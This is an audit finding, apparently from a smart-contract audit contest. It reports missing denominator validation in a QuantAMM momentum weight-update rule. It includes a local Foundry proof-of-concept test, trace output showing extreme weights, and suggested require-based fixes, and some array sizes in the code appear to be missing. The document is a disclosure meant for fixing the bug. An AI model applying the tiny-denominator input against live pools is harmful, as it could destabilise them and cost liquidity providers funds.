Summary
The MomentumUpdateRule contract fails to validate denominator values in weight calculations, allowing manipulation of pool weights through small denominator values, resulting in extreme weight imbalances that could destabilize the pool.
Vulnerability Details
locals.denominator = _poolParameters.movingAverage[locals.i];
if (locals.useRawPrice) {
locals.denominator = _data[locals.i];
}
locals.newWeights[locals.i] = ONE.div(locals.denominator).mul(locals.newWeights[locals.i]);
In the _getWeights function there is no minimum denominator validation and the division operation (div) is performed directly without checking the denominator value which causes the result of division with a small denominator (1) to produce a very large value.
if (locals.kappaStore.length == 1) {
locals.normalizationFactor += locals.newWeights[locals.i];
} else {
locals.normalizationFactor += (locals.newWeights[locals.i].mul(locals.kappaStore[locals.i]));
}
Extreme values of the newWeights affect the normalizationFactor and there is no maximum limit for the calculation result.
function validParameters(int256[][] calldata _parameters) external pure override returns (bool) {
if (_parameters.length == 1 || (_parameters.length == 2 && _parameters[1].length == 1)) {
int256[] memory kappa = _parameters[0];
uint16 valid = uint16(kappa.length) > 0 ? 1 : 0;
...
}
return false;
}
In the validParameters function there is also no validation for the denominator value.
POC
Add this to QuantAMMMomentum.t.sol and run it forge test --match-test testDenominatorValidationExploit -vvvv.
int256 private constant ONE = 1e18;
function testDenominatorValidationExploit() public {
int256[][] memory parameters = new int256[][]();
parameters[0] = new int256[]();
parameters[0][0] = PRBMathSD59x18.fromInt(1);
parameters[1] = new int256[]();
parameters[1][0] = ONE;
int256[] memory previousAlphas = new int256[]();
previousAlphas[0] = PRBMathSD59x18.fromInt(1);
previousAlphas[1] = PRBMathSD59x18.fromInt(1);
int256[] memory prevMovingAverages = new int256[]();
prevMovingAverages[0] = 1;
prevMovingAverages[1] = PRBMathSD59x18.fromInt(1);
int256[] memory movingAverages = new int256[]();
movingAverages[0] = 1;
movingAverages[1] = PRBMathSD59x18.fromInt(1);
int128[] memory lambdas = new int128[]();
lambdas[0] = int128(0.7e18);
int256[] memory prevWeights = new int256[]();
prevWeights[0] = 0.5e18;
prevWeights[1] = 0.5e18;
int256[] memory data = new int256[]();
data[0] = 1;
data[1] = PRBMathSD59x18.fromInt(1);
vm.startPrank(owner);
rule.initialisePoolRuleIntermediateValues(
address(mockPool),
movingAverages,
previousAlphas,
2
);
rule.CalculateUnguardedWeights(
prevWeights,
data,
address(mockPool),
parameters,
lambdas,
movingAverages
);
vm.stopPrank();
int256[] memory resultWeights = rule.GetResultWeights();
assertGt(resultWeights[0], 1e20);
assertLt(resultWeights[1], -1e20);
}
Trace:
MockMomentumRule::GetResultWeights() [staticcall]
└─ ← [Return] [13500000000000000486500000000000000 [1.35e34], -13499999999999999486500000000000000 [-1.349e34]]
First weight: 1.35e34 (very large) and second weight: -1.349e34 (negative).
locals.newWeights[locals.i] = ONE.div(locals.denominator).mul(locals.newWeights[locals.i]);
This happens because of the very small denominator (1) in the calculation.
MockMomentumRule::CalculateUnguardedWeights(
[500000000000000000 [5e17], 500000000000000000 [5e17]],
[1, 1000000000000000000 [1e18]],
...
)
The input that caused the problem.
VM::assertGt(13500000000000000486500000000000000 [1.35e34], 100000000000000000000 [1e20]) [staticcall]
VM::assertLt(-13499999999999999486500000000000000 [-1.349e34], -100000000000000000000 [-1e20]) [staticcall]
Verify that there is a problem.
Impact
Tools Used
Recommendations
Implement denominator validation.
int256 private constant MIN_DENOMINATOR = 1e6;
function _getWeights(...) internal override returns (int256[] memory) {
...
locals.denominator = _poolParameters.movingAverage[locals.i];
if (locals.useRawPrice) {
locals.denominator = _data[locals.i];
}
require(locals.denominator >= MIN_DENOMINATOR, "Invalid denominator");
locals.newWeights[locals.i] = ONE.div(locals.denominator).mul(locals.newWeights[locals.i]);
...
}
Add weight result validation.
int256 private constant MAX_WEIGHT_VALUE = 1e20;
require(
locals.newWeights[locals.i] <= MAX_WEIGHT_VALUE &&
locals.newWeights[locals.i] >= -MAX_WEIGHT_VALUE,
"Weight exceeds limits"
);